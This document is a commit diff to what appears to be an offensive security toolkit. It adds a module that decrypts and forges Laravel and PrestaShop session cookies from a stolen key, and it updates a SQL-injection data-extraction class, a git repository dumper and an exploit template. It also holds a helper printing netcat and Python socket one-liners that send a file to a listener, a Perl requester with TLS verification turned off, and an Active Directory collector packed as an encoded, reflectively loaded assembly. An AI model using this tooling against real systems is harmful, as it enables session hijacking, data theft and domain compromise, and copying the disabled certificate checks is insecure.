This commit is contained in:
Roman committed 2024-11-16 18:24:07 +01:00
1 parent 12007c84c1
commit 78f91195f2
12 files changed
+184 -22

No files matched your search

BIN
View File
Binary file not shown.
BIN
View File
Binary file not shown.
+148
View File
@@ -0,0 +1,148 @@
import base64
import hashlib
import hmac
import json
import os
import re
import urllib.parse
from Crypto.Cipher import AES
def unpad(data):
if not data:
return data
last_byte = data[-1]
if last_byte < AES.block_size:
data = data[0:-last_byte]
return data
def pad(data):
if not data:
return data
padding = AES.block_size - (len(data) % AES.block_size)
if padding < AES.block_size:
data = data + bytes([padding]) * padding
return data
def generate_mac(APP_KEY, iv, data):
return hmac.new(key=APP_KEY, msg=base64.b64encode(iv)+base64.b64encode(data), digestmod=hashlib.sha256)
def decrypt_cookie(APP_KEY, cookie):
json_obj = json.loads(base64.b64decode(urllib.parse.unquote(cookie)).decode())
iv = base64.b64decode(json_obj["iv"].encode())
encrypted = base64.b64decode(json_obj["value"].encode())
mac = generate_mac(APP_KEY, iv, encrypted)
if mac.hexdigest() != json_obj["mac"]:
print("[~] WARN: macs are not equal")
cipher = AES.new(APP_KEY, AES.MODE_CBC, iv)
return unpad(cipher.decrypt(encrypted)).decode()
def create_cookie(APP_KEY, data):
iv = os.urandom(AES.block_size)
cipher = AES.new(APP_KEY, AES.MODE_CBC, iv)
encrypted = cipher.encrypt(pad(json.dumps(data).encode()))
mac = generate_mac(APP_KEY, iv, encrypted)
json_obj = {
"iv": base64.b64encode(iv).decode(),
"value": base64.b64encode(encrypted).decode(),
"mac": mac.hexdigest()
}
new_cookie = base64.b64encode(json.dumps(json_obj).encode()).decode()
# new_cookie = urllib.parse.quote(new_cookie)
return new_cookie
def hkdf_extract(salt, input_key_material, hash_name='sha256'):
"""
Extract a pseudorandom key from the input key material and salt using HMAC.
:param salt: The salt (bytes).
:param input_key_material: The input key material (bytes).
:param hash_name: The hash function to use (string).
:return: The pseudorandom key (bytes).
"""
if salt is None or len(salt) == 0:
salt = b'\x00' * hashlib.new(hash_name).digest_size
return hmac.new(salt, input_key_material, hash_name).digest()
def hkdf_expand(pseudorandom_key, info=b'', length=32, hash_name='sha256'):
"""
Expand the pseudorandom key into one or more keys using HMAC.
:param pseudorandom_key: The pseudorandom key (bytes).
:param info: Optional context and application-specific information (bytes).
:param length: The length of the output key material in bytes (int).
:param hash_name: The hash function to use (string).
:return: The output key material (bytes).
"""
hash_len = hashlib.new(hash_name).digest_size
blocks_needed = (length + hash_len - 1) // hash_len
okm = b''
output_block = b''
for counter in range(blocks_needed):
output_block = hmac.new(pseudorandom_key, output_block + info + bytes([counter + 1]), hash_name).digest()
okm += output_block
return okm[:length]
def hkdf(input_key_material, salt, info=b'', length=32, hash_name='sha256'):
"""
Derive keys using HKDF (extract and expand stages).
:param input_key_material: The input key material (bytes).
:param salt: The salt (bytes).
:param info: Optional context and application-specific information (bytes).
:param length: The length of the output key material in bytes (int).
:param hash_name: The hash function to use (string).
:return: The derived key (bytes).
"""
pseudorandom_key = hkdf_extract(salt, input_key_material, hash_name)
return hkdf_expand(pseudorandom_key, info, length, hash_name)
def decrypt_cookie_prestashop(COOKIE_KEY, cookie):
assert re.match(r"^[a-fA-F0-9]+$", COOKIE_KEY)
assert re.match(r"^[a-fA-F0-9]+$", cookie)
# https://github.com/defuse/php-encryption/blob/master/src/Key.php
KEY_CURRENT_VERSION = b"\xDE\xF0\x00\x00"
HEADER_SIZE = len(KEY_CURRENT_VERSION)
KEY_BYTE_SIZE = 32
CHECKSUM_BYTE_SIZE = 32
COOKIE_KEY = bytearray.fromhex(COOKIE_KEY)
assert COOKIE_KEY.startswith(KEY_CURRENT_VERSION)
assert len(COOKIE_KEY) == HEADER_SIZE + KEY_BYTE_SIZE + CHECKSUM_BYTE_SIZE
real_cookie_key = COOKIE_KEY[HEADER_SIZE:HEADER_SIZE+KEY_BYTE_SIZE]
cookie_signature_check = COOKIE_KEY[0:HEADER_SIZE+KEY_BYTE_SIZE]
key_signature = COOKIE_KEY[HEADER_SIZE+KEY_BYTE_SIZE:]
assert hashlib.sha256(cookie_signature_check).digest() == key_signature
# https://github.com/defuse/php-encryption/blob/master/src/Core.php
CURRENT_VERSION = b"\xDE\xF5\x02\x00"
HEADER_SIZE = len(CURRENT_VERSION)
SALT_SIZE = 32
IV_SIZE = 16
HMAC_SIZE = 32
cookie = bytearray.fromhex(cookie)
assert cookie.startswith(CURRENT_VERSION)
assert len(cookie) >= HEADER_SIZE + SALT_SIZE + IV_SIZE + HMAC_SIZE
salt = cookie[HEADER_SIZE:HEADER_SIZE+SALT_SIZE]
iv = cookie[HEADER_SIZE+SALT_SIZE:HEADER_SIZE+SALT_SIZE+IV_SIZE]
ct = cookie[HEADER_SIZE+SALT_SIZE+IV_SIZE:-HMAC_SIZE]
hmac_data = cookie[-HMAC_SIZE:]
PBKDF2_ITERATIONS = 100000
ENCRYPTION_INFO_STRING = b'DefusePHP|V2|KeyForEncryption'
AUTHENTICATION_INFO_STRING = b'DefusePHP|V2|KeyForAuthentication'
derived_key = hkdf(real_cookie_key, salt, ENCRYPTION_INFO_STRING, 32, "sha256")
cipher = AES.new(derived_key, AES.MODE_CTR, initial_value=iv, nonce=b"")
plaintext = cipher.decrypt(ct).decode()
# TODO: check hmac_data
lines = plaintext.split("¤")
return dict(map(lambda line: line.split("|"), lines))
+8 -3
View File
@@ -292,9 +292,14 @@ class FindObjectsWorker(DownloadWorker):
with open(abspath, 'wb') as f:
f.write(response.content)
# parse object file to find other objects
obj_file = dulwich.objects.ShaFile.from_path(abspath)
return get_referenced_sha1(obj_file)
try:
# parse object file to find other objects
obj_file = dulwich.objects.ShaFile.from_path(abspath)
return get_referenced_sha1(obj_file)
except:
print("[-] Error parsing:", filepath)
os.remove(abspath)
return []
def fetch_git(url, directory, jobs, retry, timeout, follow_redirects, module=".git"):
+2 -1
View File
@@ -642,7 +642,8 @@ sub makeRequest {
$lwp = LWP::UserAgent->new(env_proxy => 1,
keep_alive => 1,
timeout => 30,
requests_redirectable => [],
requests_redirectable => [],
ssl_opts => { verify_hostname => 0, SSL_verify_mode => 0 },
);
$req = new HTTP::Request $method => $url;
+6 -5
View File
@@ -5,7 +5,8 @@ import string
class SQLi(ABC):
@staticmethod
def build_query(column: str, table=None, condition=None, offset=None):
def build_query(column: str|list, table=None, condition=None, offset=None):
column = column if isinstance(column, str) else ",".join(column)
condition = "" if not condition else f" WHERE {condition}"
offset = "" if offset is None else f" OFFSET {offset}"
table = "" if not table else f" FROM {table}"
@@ -76,10 +77,9 @@ class ReflectedSQLi(SQLi, ABC):
pass
def extract_int(self, column: str, table=None, condition=None, offset=None, verbose=False):
query_columns = [column] + list(map(str, range(2, len(self.column_types) + 1)))
return int(self.reflected_sqli(query_columns, table, condition, offset)[0])
return int(self.extract_string(column, table, condition, offset))
def extract_string(self, column: str, table=None, condition=None, offset=None, verbose=False):
def extract_string(self, column: list|str, table=None, condition=None, offset=None, verbose=False):
if str not in self.column_types:
print("[!] Reflectd SQL does not reflect string types, only:", self.column_types)
return None
@@ -137,12 +137,13 @@ class ReflectedSQLi(SQLi, ABC):
query_columns[offset] = column
offset += 1
column_str = ",".join(query_columns)
# todo: fix count(*) for distinct
row_count = self.extract_int(f"COUNT(*)", table=table, condition=condition, verbose=verbose)
if verbose:
print(f"Fetching {row_count} rows")
rows = []
column_str = ",".join(query_columns)
for i in range(0, row_count):
row = self.reflected_sqli(query_columns, table, condition, i, verbose=verbose)
if one:
+6 -1
View File
@@ -6,8 +6,13 @@ import urllib.parse
def generate_template(base_url, features):
ip_address = "util.get_address()"
for feature in features:
if feature.lower().startswith("ip_address="):
ip_address = "'" + feature.split("=")[1] + "'"
variables = {
"IP_ADDRESS": "util.get_address()",
"IP_ADDRESS": ip_address,
"BASE_URL": f'"{base_url}" if "LOCAL" not in sys.argv else "http://127.0.0.1:1337"',
"PROXIES": json.dumps({"http":"http://127.0.0.1:8080", "https":"http://127.0.0.1:8080"})
}
+1
View File
@@ -46,6 +46,7 @@ if __name__ == "__main__":
print("[+] Now listening, download file using:")
print('nc %s %d > %s' % (address, listen_sock.getsockname()[1], os.path.basename(path)))
print('python -c \'import socket;sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM,0);sock.connect(("%s",%d));sock.sendall(open("%s","rb").read())\'' % (address, listen_sock.getsockname()[1], os.path.basename(path)))
print()
serve_file(listen_sock, path, forever=True)
Binary file not shown.
+13 -12
View File
@@ -25,16 +25,17 @@ function Invoke-BloodHound
Trusts - Enumerate domain trust data
ACL - Collect ACL (Access Control List) data
Container - Collect GPO/OU Data
ComputerOnly - Collects Local Group and Session data
GPOLocalGroup - Collects Local Group information using GPO (Group Policy Objects)
LoggedOn - Collects session information using privileged methods (needs admin!)
ObjectProps - Collects node property information for users and computers
SPNTargets - Collects SPN targets (currently only MSSQL)
Default - Collects Group Membership, Local Admin, Sessions, Containers, ACLs and Domain Trusts
DcOnly - Collects Group Membership, ACLs, ObjectProps, Trusts, Containers, and GPO Admins
ComputerOnly - Collect Local Group, Session data, User Rights, CA Registry, and DC Registry
GPOLocalGroup - Collect Local Group information using GPO (Group Policy Objects)
LoggedOn - Collect session information using privileged methods (needs admin!)
ObjectProps - Collect node property information for users and computers
SPNTargets - Collect SPN targets (currently only MSSQL)
Default - Collect Group Membership, Local Admin, Sessions, Containers, ACLs, Domain Trusts, and ADCS objects
DcOnly - Collect Group Membership, ACLs, ObjectProps, Trusts, Containers, GPO Admins, and ADCS objects
UserRights - Collect User Rights Assignment from domain computers (needs admin)
CARegistry - Collect ADCS properties from registry of Certificate Authority servers
DCRegistry - Collect properties from registry of Domain Controller servers
CertServices - Collect ADCS properties from Certificate Services
CertServices - Collect ADCS objects from Certificate Services
All - Collect all data
This can be a list of comma separated valued as well to run multiple collection methods!
@@ -126,7 +127,7 @@ function Invoke-BloodHound
.PARAMETER LdapPort
Port LDAP is running on. Defaults to 389/686 for LDAPS
Port LDAP is running on. Defaults to 389/636 for LDAPS
.PARAMETER SecureLDAP
@@ -409,10 +410,10 @@ function Invoke-BloodHound
$passed = [string[]]$vars.ToArray()
$EncodedCompressedFile = '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 truncated
$EncodedCompressedFile = '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 truncated
$DeflatedStream = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($EncodedCompressedFile),[IO.Compression.CompressionMode]::Decompress)
$UncompressedFileBytes = New-Object Byte[](1343488)
$DeflatedStream.Read($UncompressedFileBytes, 0, 1343488) | Out-Null
$UncompressedFileBytes = New-Object Byte[](1556992)
$DeflatedStream.Read($UncompressedFileBytes, 0, 1556992) | Out-Null
$Assembly = [Reflection.Assembly]::Load($UncompressedFileBytes)
$BindingFlags = [Reflection.BindingFlags] "Public,Static"
$a = @()
BIN
View File
Binary file not shown.
BIN
View File
Binary file not shown.